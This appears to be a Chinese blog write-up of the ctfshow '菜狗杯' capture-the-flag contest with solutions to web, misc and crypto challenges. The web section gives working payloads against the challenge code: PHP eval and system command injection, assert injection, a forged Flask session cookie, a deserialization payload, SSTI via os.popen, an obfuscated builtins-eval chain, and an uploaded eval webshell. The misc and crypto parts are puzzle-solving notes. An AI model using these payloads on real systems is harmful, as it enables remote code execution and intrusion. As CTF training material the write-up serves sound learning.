ctfshow菜狗杯

菜狗来练练手,多做点,看看题

WEB

web签到

<?php

error_reporting(0);
highlight_file(__FILE__);

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

让cookie中”CTFshow-QQ群:”的值等于a,这样接收到的$_COOKIE[‘CTFshow-QQ群:’]就等效于a,代码执行的就是:

eval($_REQUEST[$_GET[$_POST[a]]][6][0][7][5][8][0][9][4][4]);

用post传一个a=b,这样$_POST[a]就等效于b,代码执行的就是:

eval($_REQUEST[$_GET[b]][6][0][7][5][8][0][9][4][4]);

用get传一个b=c,这样$_GET[b]就等效于c,代码执行的就是:

eval($_REQUEST[c][6][0][7][5][8][0][9][4][4]);

对于$_REQUEST[c][6][0][7][5][8][0][9][4][4],$_REQUEST可以用任何一种方式请求,我们这里采用post方法上传。而c为数组,$_REQUEST请求中传入的值是取的C数组中ID键为[6][0][7][5][8][0][9][4][4]的值,因此可以给C数组中的这些键直接赋值:c[6][0][7][5][8][0][9][4][4]= system(‘ls /’);

然后注意一下对”群”字进行编码,不然bp没法识别,然后就可以执行命令了:

/?b=c
Cookie:CTFshow-QQ%E7%BE%A4:=a
a=b&c[6][0][7][5][8][0][9][4][4]=system('ls /');

然后system(‘cat /f*’);即可

web2 c0me_t0_s1gn

我的眼里只有$

有趣的一道题

<?php
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

对于extract函数,我们post传入_=a那么$_=a,如果在post传入a=b那么$$_=b,以此照推,最后一个就是我们执行命令。

import string
s = string.ascii_letters 
t='_=a&'
code='system("cat /f*");'
for i in range(35):
    t+=s[i]+"="+s[i+1]+'&'

t+=s[i]+'='+code
print(t)
#_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system("cat /f*");

抽老婆

下载老婆处存在一个任意文件下载

from flask import *
import os
import random
from flag import flag

#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'

@app.route('/', methods=['GET'])
def index():  
    return render_template('index.html')


@app.route('/getwifi', methods=['GET'])
def getwifi():
    session['isadmin']=False
    wifi=random.choice(os.listdir('static/img'))
    session['current_wifi']=wifi
    return render_template('getwifi.html',wifi=wifi)



@app.route('/download', methods=['GET'])
def source(): 
    filename=request.args.get('file')
    if 'flag' in filename:
        return jsonify({"msg":"你想干什么?"})
    else:
        return send_file('static/img/'+filename,as_attachment=True)


@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})



if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=True)

可以看到我们需要伪造身份前往/secret_path_U_never_know,下个工具伪造下

python3 flask_session_cookie_manager3.py encode -t "{'isadmin':True}" -s "tanji_is_A_boy_Yooooooooooooooooooooo\!"
#eyJpc2FkbWluIjp0cnVlfQ.Y5x4EA.mp5viAKszMXpwwwZhEWzsP0KAXI

一言既出

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
    if ($_GET['num'] == 114514){
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
        echo $flag;
    } 
} 

因为是弱比较,所以可以用:?num=114514+1805296,编码后也就是?num=114514%2B1805296

但又因assert函数跟eval函数类似,能够执行php,所以直接闭合也行

?num=114514);//
?num=114514)==1 or system('ls');#
编码一下:?num=114514)==1%20or%20system('ls')%3B%23

驷马难追

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
     if ($_GET['num'] == 114514 && check($_GET['num'])){
              assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
              echo $flag;
     } 
} 

function check($str){
  return !preg_match("/[a-z]|\;|\(|\)/",$str);
}
?num=114514%2b1805296

TapTapTap

感觉和web没啥关

Webshell

<?php 
    error_reporting(0);

    class Webshell {
        public $cmd = 'echo "Hello World!"';

        public function __construct() {
            $this->init();
        }

        public function init() {
            if (!preg_match('/flag/i', $this->cmd)) {
                $this->exec($this->cmd);
            }
        }

        public function exec($cmd) {
            $result = shell_exec($cmd);
            echo $result;
        }
    }

    if(isset($_GET['cmd'])) {
        $serializecmd = $_GET['cmd'];
        $unserializecmd = unserialize($serializecmd);
        $unserializecmd->init();
    }
    else {
        highlight_file(__FILE__);
    }

?>
<?php
class Webshell {
public $cmd = 'cat *';
}
$a=new Webshell();
echo serialize($a);
?> 
#O:8:"Webshell":1:{s:3:"cmd";s:5:"cat *";} 

化零为整

<?php

highlight_file(__FILE__);
include "flag.php";

$result='';

for ($i=1;$i<=count($_GET);$i++){
    if (strlen($_GET[$i])>1){
        die("你太长了!!");
        }
    else{
    $result=$result.$_GET[$i];
    }
}

if ($result ==="大牛"){
    echo $flag;
}
?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

原理很简单,”大牛” = “%E5%A4%A7%E7%89%9B”,而我们传入的字符长度不能大于一,所以拆开拼成“大牛“即可

无一幸免

<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
    $arr[$_GET['0']]=1;
    if ($arr[]=1){
        die($flag);
    }
    else{
        die("nonono!");
    }
}
?0=0

不知道考点是啥

传说之下(雾)

算力超群

一眼ssti

/_calculate?number1=&operator=&number2=__import__(%27os%27).popen(%27cat%20/f*%27).read()

算力升级

import gmpy2
s = " __import__('os').popen('cat /flag').read()"


payload = "gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("

for i in s:
    if i not in "/'(). ":
        temp_index = 0   # 定义临时下标
        temp_string = ''  # 定义临时字符串
        for j in dir(gmpy2):
            if j.find(i) >= 0:
                temp_string = j
                temp_index = j.find(i)
        payload += f'"{temp_string}"[{temp_index}]+'
    else:
        payload += f'"{i}"+'

payload = payload[:-1]+')'   # 最后一位是个+号,要给去掉

print(payload)
#gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]](" "+"xbit_mask"[4]+"xbit_mask"[4]+"xbit_mask"[2]+"xmpz"[1]+"xmpz"[2]+"zero"[3]+"zero"[2]+"zeta"[2]+"xbit_mask"[4]+"xbit_mask"[4]+"("+"'"+"zero"[3]+"xbit_mask"[7]+"'"+")"+"."+"xmpz"[2]+"zero"[3]+"xmpz"[2]+"zeta"[1]+"yn"[1]+"("+"'"+"unpack"[4]+"zeta"[3]+"zeta"[2]+" "+"/"+"root_of_unity"[6]+"rint_floor"[6]+"zeta"[3]+"sign"[2]+"'"+")"+"."+"zero"[2]+"zeta"[1]+"zeta"[3]+"t_mod_2exp"[4]+"("+")")

easyPytHon_P

from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
    try:
        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
        print('Done!')
    except subprocess.TimeoutExpired:
        print('Timeout!')
    except:
        print('Error!')
else:
    print('No Flag!')

关键在于

tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)

作用就是对当前目录执行[cmd[:3], param, __file__],其中cmd半可控,param可控_file_是个固定值。

这样就可以执行ls /

故cmd=awk&param=system(“cat *”)即可

或者也可以先

cmd=ls&param=.  #.是当前目录

cmd=cat&param=flag.txt

遍地飘零

<?php
include "flag.php";
highlight_file(__FILE__);

$zeros="000000000000000000000000000000";

foreach($_GET as $key => $value){
    $$key=$$value;
}

if ($flag=="000000000000000000000000000000"){
    echo "好多零";
}else{
    echo "没有零,仔细看看输入有什么问题吧";
    var_dump($_GET);
}
?_GET=flag

没找到考点

茶歇区

考点是整形溢出,php无法计算太大的数,999999999999999999太多了

3446744073709551616差不多,拿到flag了

小舔田?

<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
    public $name="月亮";
    public function __toString(){
        return $this->name;
    }
    
    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="牛夫人";

    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }else{
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
        }
    }
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}

if (isset($_GET['code'])){
    unserialize($_GET['code']);

}else{
    $a=new Ion_Fan_Princess();
    echo $a;
}

简单的批爆,好久没见过这么淳朴的pop题了:

Moon::__wakeup()
↓↓↓
Ion_Fan_Princess::__toString()
↓↓↓
Ion_Fan_Princess::call()
<?php
class Moon{
        public $name;
}
class Ion_Fan_Princess{
        public $nickname="小甜甜";
}
$a=new Moon();
$a->name=new Ion_Fan_Princess();
echo urlencode(serialize($a));
#?code=O%3A4%3A%22Moon%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A16%3A%22Ion_Fan_Princess%22%3A1%3A%7Bs%3A8%3A%22nickname%22%3Bs%3A9%3A%22%E5%B0%8F%E7%94%9C%E7%94%9C%22%3B%7D%7D

LSB探姬

# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File       : app.py
# Time       :2022/10/20 15:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:TSTEG-WEB
# flag is in /app/flag.py
"""
from flask import *
import os
#初始化全局变量
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():    
    return render_template('upload.html')
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        try:
            f = request.files['file']
            f.save('upload/'+f.filename)
            cmd="python3 tsteg.py upload/"+f.filename
            result=os.popen(cmd).read()
            data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
            return jsonify(data)
        except:
            data={"code":1,"message":"file upload error!"}
            return jsonify(data)
    else:
        return render_template('upload.html')
@app.route('/source', methods=['GET'])
def show_source():
    return render_template('source.html')
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=False)

Is_Not_Obfuscate

eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1+/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR+x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9+w8pT7oT 

改完前端点执行就能解密了

Anything is good?Please test it. <?php
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
    @mkdir('./plugins/', 0777);
}
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
    echo 'Anything is good?Please test it.';
    @eval(decode($_GET['input']));
}

ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
    switch ($_GET['action']){
        case 'pull':
            $output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
            echo "pull success";
            break;
        case 'push':
            $input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
            echo "push success";
            break;
        default:
            die('hacker!');
    }
}

?>

利用好push和pull即可,先用push传马,再用pull执行它

?action=push&output=<?php eval($_GET[1]);?>
?action=pull&input=d6e1f0ec8980b49f6061227495a77a44&1=system("cat /f*");
#d6e1f0ec8980b49f6061227495a77a44 为 <?php eval($_GET[1]);?> youyou的md5值;

龙珠NFT

没太懂,参考

import requests
import json
import base64
import random
url='http://18a60993-f1a3-4ba2-87e2-05d8deae3763.challenge.ctf.show/'


s=requests.session()
username=str(random.randint(1,100000))
print(username)
r=s.get(url+'?username='+username)
responses=[]

for i in range(10):
        r=s.get(url+'find_dragonball')
        responses.append(json.loads(r.text))

for item in responses:
        data=json.dumps({'player_id':item['player_id'],'dragonball':item['dragonball'],'round_no':item['round_no'],'time':item['time']})
        miwen=base64.b64decode(item['address'])
        round_no=item['round_no']
        if round_no in [str(i) for i in range(1,8)]:
                fake_address=miwen[:64]+miwen[80:]
                fake_address=base64.b64encode(fake_address).decode()
                r=s.get(url+'get_dragonball',params={"address":fake_address})

r=s.get(url+'flag')
print(r.text)

无一幸免_FIXED

<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
    $arr[$_GET['0']]=1;
    if ($arr[]=1){
        die("nonono!");
    }
    else{
        die($flag);
    }
}
?> 

revenage版本。$arr[]=1意思是在数组中追加一个数并且赋值为1,比如数组种只有0,1,2,他就会赋值让$arr[3]=1,所以永真了,所以我们得让它失效。考点是索引数组最大下标等于最大int数,对其追加会导致整型数溢出,进而引起追加失败,32位最大是231-1,64位是263-1,也就是2147483647与9223372036854775807,所以输入?0=9223372036854775807即可

MISC

杂项签到

用010editor打开三哈的图片,直接搜索ctfshow就拿到flag了

损坏的压缩包

foremost分离出图片

谜之栅栏

cfhwfaab2cb4af5a5820}

tso{06071f997b5bdd1a

两个拼起来就是flag了

ctfshow{f0a6a0b721cfb949a7fb55ab5d8d210a}

你会数数吗

一眼词频分析

ctfshow{a1b2d3e4g56i7j8k9l0}

你会异或吗

异或后得到图,图上有flag

flag一分为二

用foremost分离后,图片在Linux中打不开,说是CRC的问题,那显然就得改高度了,

运行模板,改高度(之前重庆大学生那个题有过教程,感觉他们题差不多)

然后就看得到一部分flag,但还有一部分:

已知改图片没有附件,所以另一部分flag肯定也在这张图里,在哪儿呢?直接联想到盲水印了,重邮办比赛的题不会偷的这个比赛吧😓

所以flag就是:ctfshow{FirstP@RTSecondP@rTMikumiku~}

You and me

下载附件得到两张图片,一看就是盲水印了,之前也复现也提到过了,难绷,重庆大学生竞赛之前遇到了就好了

黑丝白丝还有什么丝?

黑丝为 1 白丝为 0 转场动画为分割标志,然后题目提示了是莫斯密码嘛:

011 00001 10 1 1 11111 1000 000 11 11 111 010 0 1010 001 1 0

解一下就行了:
ctfshow{W4NTT0B3MORECUTE}

我吐了你随意

零宽度隐写

ctfshow{OP_is_for_Over_Power}

这是个什么文件?

看来是伪加密

改了之后解压出来一个神秘文件

一眼pyc,改后缀,找个在线平台反编译一下:

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.7

flag = bytes([
    99,
    116,
    102,
    115,
    104,
    111,
    119,
    123,
    99,
    100,
    106,
    110,
    106,
    100,
    95,
    53,
    54,
    53,
    102,
    95,
    71,
    67,
    68,
    72,
    95,
    107,
    99,
    114,
    105,
    109,
    125]).decode()
print(flag)

ctfshow{cdjnjd_565f_GCDH_kcrim}

抽象画

base一把梭出来一眼16进制,可能可以组成图片

保存完得到一个奇怪的图片

npiet可以得到flag(没见过)

先点击npiet-start.bat启动cmd,然后npiet.exe 图片名即可

迅疾响应

链接

我可没有骗你

先爆破密码:55813329,得到的mp3文件改wav后缀,然后用silent eye即可

你被骗了

解压出来得到一个mp3文件,属性里看到flag,但那个是假的,考虑MP3Stego

Decode.exe -X cipher.mp3 -P

一闪一闪亮晶晶

压缩包里图片可以直接解压出来,是汉信码

在线识别得到压缩包密码:CDBHSBHSxskv6

得到的音频是sstv

参考Misc SSTV慢扫描电视&无线电方法

ctfshow{NNICCETOMMETYOU}

一层一层一层地剥开我的♥

压缩包解压出来的文件如下

通过经验可以判断,这个压缩包其实不是压缩包,而是一个docx文件,改后缀名,打开后得到一些奇怪的字符,字体名为Wingdings 3

改字体得到正常文字

没得到什么有效信息,binwalk得到两个压缩包

0.zip是那个docx文件,而那个2983.rar有压缩包密码,密码是Twinkle twinkle little star,how I wonder what you are的简谱:11556654433221(这谁想的到),得到一个文件一张图

FFD9(jpg文件尾)后面又跟着FFD8FF(jpg文件头)

把FFD8FF之后的十六进制数据复制下来然后新建后可获得一个jpg图片文件,具体参考前面抽象画的wp

打开那个♥按我下面的步骤改成rar文件

多了四组00,修改成rar文件头52617221即可,修改完毕后保存并加上rar后缀

压缩包的密码是图片上的winkwink~

最后这个emoji是base100

ctfshow{Wa0_wa_Congr@tulations~}

这次比赛学了不少emoji相关的加密,比如emoji-aesemoji2textbase100(emoji编码),其中emoji-aes和emoji2text需要密码

打不开的图片

求反即可

CRYPTO

密码签到

base一把梭:ctfshow{welcome_2_caigou_cup}

Caesar

显然是凯撒,随便试试就出来了

ctfshow{Welcome to CTFshow vegetable dog cup!}

0x36d

长见识了,原来emoji密码还有这种txtmoji,我之前只知道emoji编码和aes-emoji

这里的密码就是0x36d的十进制,也就是877

类型-7

没听过,现在想来题目就是提示了——type 7加密

@bash

埃特巴什码,又是谐音梗,绷不住了

ctfshow{LOVEMUMUZI}

This is Sparta

密文是:

WFlni~seseds~lh ~@codyc~_owoot~Bm guf~oev rsTy ec ha!tgufon!oeplwj? t!a{i!Ca gy@Tba oi}

斯巴达手杖加密,被我百度到了,但我用这个网站没做出来,看了其他人的wp,发现要用这个栅栏密码的网站,但是还是没做出来,看了答案后知道,答案为:

Welcome to CTFshow vegetable dog cup! and your flag is ctfshow{yo~~~~~~Tanji_is_@_Boy!!?!@}

用位移为7确实能整出明文来,但没法从明文还原到明文,难绷:

OSINT

OSINT即信息搜集,当社工题了

Fish And Turtles

flag格式:ctfshow{起始地-目的地-航班号}

题目附件里是一张图:

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇